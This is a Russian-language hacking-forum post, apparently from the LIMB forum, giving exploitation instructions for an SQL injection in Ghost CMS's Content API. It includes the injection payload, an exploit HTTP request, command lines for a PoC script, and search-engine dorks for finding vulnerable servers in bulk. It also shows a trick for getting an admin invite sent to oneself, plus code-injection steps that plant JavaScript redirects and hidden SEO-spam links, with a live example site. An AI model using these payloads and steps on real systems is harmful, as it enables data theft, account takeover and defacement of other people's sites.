lztcdn.comРазрешённые домены
imgur.comru.imgbb.comprnt.scimgbb.comibb.coi.imgur.comi.ibb.codarklimb.vipi.pinimg.comimg3.teletype.inimg4.teletype.inteletype.inpikabu.rucs15.pikabu.ruimg2.teletype.inlh7-rt.googleusercontent.comduty-files.ccblogger.googleusercontent.com
CVE-2026-26980 – критическая уязвимость SQL-инъекции в Ghost CMS (Node.js-платформа для ведения блогов). Уязвимость обнаружена в функции фильтрации по полю slug в Content API Ghost. Публикация 3.24.0–6.19.0 позволяют неаутентифицированному злоумышленнику считывать произвольные данные из базы (читай: все записи, учётные данные, API-ключи и т. д.). Исправление выпущено в версии 6.19.1. Оценки серьезности разнятся: NVD присвоил CVSS 3.1 7.5 (High), тогда как разработчики Ghost и сторонние источники указывают 9.3–9.4 (Critical). Уязвимость требует только доступа к публичному Content API key (который по дизайну публичен)
Ghost – это платформа для публикации контента (блоги, новости и т. д.) на JavaScript/Node.js. У неё есть Admin API (для авторизации администратора) и Content API (для чтения публичного контента). Content API не требует авторизации: он использует публичный Content API key, используемый клиентскими сайтами для загрузки постов, тегов и т. п. В запросе к Content API можно фильтровать контент, например
GET /ghost/api/content/posts/?key=API_KEY&filter=slug:['my-post']
SQL-инъекция при построении выражения ORDER BY CASE по полю slug. В уязвимой версии Ghost код внутри функции slugFilterOrder делал прямую конкатенацию пользовательского ввода без экранирования. Например, фрагмент уязвимого кода (коммит) выглядел так
order += `WHEN \`${table}\`.\`slug\` = '${slug}' THEN ${index} `;
Тут переменная slug берётся из параметра фильтра запроса. Можно подставить в slug строку вида '\ OR (SELECT 1)=1 THEN (SELECT abs(-9223372036854775808)) WHEN slug='`, что превращает вышеуказанное в SQL-подобное выражение:
CASE
WHEN table.slug = '' OR (SELECT 1)=1 THEN (SELECT abs(-9223372036854775808))
WHEN table.slug = 'normal-slug' THEN 1
END ASC
Примеры эксплуатации
отправляем http запрос к Content API с сформированным фильтром. Пример небезопасного запроса (с ключом контента API_KEY):
GET /ghost/api/content/posts/?key=API_KEY&filter=slug:['\' OR (SELECT 1)=1 THEN (SELECT abs(-9223372036854775808)) WHEN slug=', 'test'] HTTP/1.1
Host: example.com
PoC скрипт
14.4 KB file on MEGA
Основные команды:
Для проверки на уязвимость - python3 main.py -u example.com -c active -k
Для эксплуатации уязвимости - python3 main.py -u example.com -k -d mysql (чаще всего используется mysql)
lztcdn.comРазрешённые домены
imgur.comru.imgbb.comprnt.scimgbb.comibb.coi.imgur.comi.ibb.codarklimb.vipi.pinimg.comimg3.teletype.inimg4.teletype.inteletype.inpikabu.rucs15.pikabu.ruimg2.teletype.inlh7-rt.googleusercontent.comduty-files.ccblogger.googleusercontent.com
Для использование API-Ключей с помощью запросов можно просмотреть тут https://docs.ghost.org/content-api
lztcdn.comРазрешённые домены
imgur.comru.imgbb.comprnt.scimgbb.comibb.coi.imgur.comi.ibb.codarklimb.vipi.pinimg.comimg3.teletype.inimg4.teletype.inteletype.inpikabu.rucs15.pikabu.ruimg2.teletype.inlh7-rt.googleusercontent.comduty-files.ccblogger.googleusercontent.com
Так же с помощью запроса: ghost/api/admin/invites/ - вы можете отправить код приглашения на свою почту чтобы создать аккаунт в Ghost CMS
lztcdn.comРазрешённые домены
imgur.comru.imgbb.comprnt.scimgbb.comibb.coi.imgur.comi.ibb.codarklimb.vipi.pinimg.comimg3.teletype.inimg4.teletype.inteletype.inpikabu.rucs15.pikabu.ruimg2.teletype.inlh7-rt.googleusercontent.comduty-files.ccblogger.googleusercontent.com
Дорки для поиска
Shodan http.html:"data-ghost="
Zoomeye http.body="data-ghost="
Fofa body="data-ghost="
Censys web.software.vendor = "ghost"
почти 100 тысяч потенциально уязвимых сервер
lztcdn.comРазрешённые домены
imgur.comru.imgbb.comprnt.scimgbb.comibb.coi.imgur.comi.ibb.codarklimb.vipi.pinimg.comimg3.teletype.inimg4.teletype.inteletype.inpikabu.rucs15.pikabu.ruimg2.teletype.inlh7-rt.googleusercontent.comduty-files.ccblogger.googleusercontent.com
Вектор атаки (aka. code injection)
Насчет вектора - тут в принципе много векторов для атаки, чуть не забыл упомянуть - что можно так же внедрять код
для этого нужно иметь аккаунт в CMS от уровня Editor (код оставил в комментариях) либо можно с помощью API-key, но это дольше
буду рассматривать вариант уже с аккаунтом
При создании поста нужно открыть панель
Затем перейти в "Code injection"
Эти элементы темы отвечают за вывод пользовательского кода в секции head и перед закрывающим тегом body на уровне отдельного поста. Это дает возможность внедрять произвольный клиентский код, выполняемый в браузере посетителя который зайдет на статью
Можно вставить HTML/CSS/JS код
Пример эксплуатации для редиректа при переходе на статью:
достаточно вставить в строку Post footer, JS код для редиректа
<script>window.location.href='https://forum.LIMB.cc/';</script>
В итоге когда будут кликать на пост - то будет редирект на форум forum.LIMB.cc, можете сами убедиться - https://blog.callreverie.com/test/
Помимо обычного редиректа можно поднять SEO своего сайта с помощью чужих
В ghost_head можно добавить скрытые ссылки или блоки с текстом, которые видны только поисковикам, для накрутки позиций других сайтов(простой пример)
<div style="position:absolute; left:-9999px; top:-9999px;">
<a href="https://forum.LIMB.cc/">best forum</a>
<a href="https://forum.LIMB.cc/">forum.LIMB.cc is a Russian-language forum focused on information security</a>
</div>
<div style="display:none;">
взлом, хак форум, форум, LIMB.cc, forum.LIMB.cc, hack, forum, hack forum, cybersecurity
</div>
Помимо редиректа и SEO есть и другие векторы атаки, думаю дальше уже сами сможете разобраться что и для чего вам надо:)
Инъекция на главные страницы
Помимо инъекции кода в статьи, можно прямо на главные страницы добавить, взять условно раздел "about" который отображается на главном сайте
(запрос будет: https://blog.callreverie.com/about/)
В Ghost CMS переходим уже во вкладку "Pages", и там уже будут главные страницы с содержимым
Если же нету страниц в редакторе, а на сайте они есть (вероятно при переходе будет обычный 404 алерт), то нажимаем на "New page"
И в заголовке вводим название страницы на которую идет запрос, условно на сайте есть страница "blog.callreverie.com/about" то в заголовке пишем about
После чего вставляем инъекцию кода по методу свыше
Код так же можете вставлять любой языка HTML/CSS/JS
Редирект, seo, и другие векторы - только работать уже будут когда кликнут не на статью, а на просто страницу
можете сами убедиться: https://blog.callreverie.com/about/
LIMB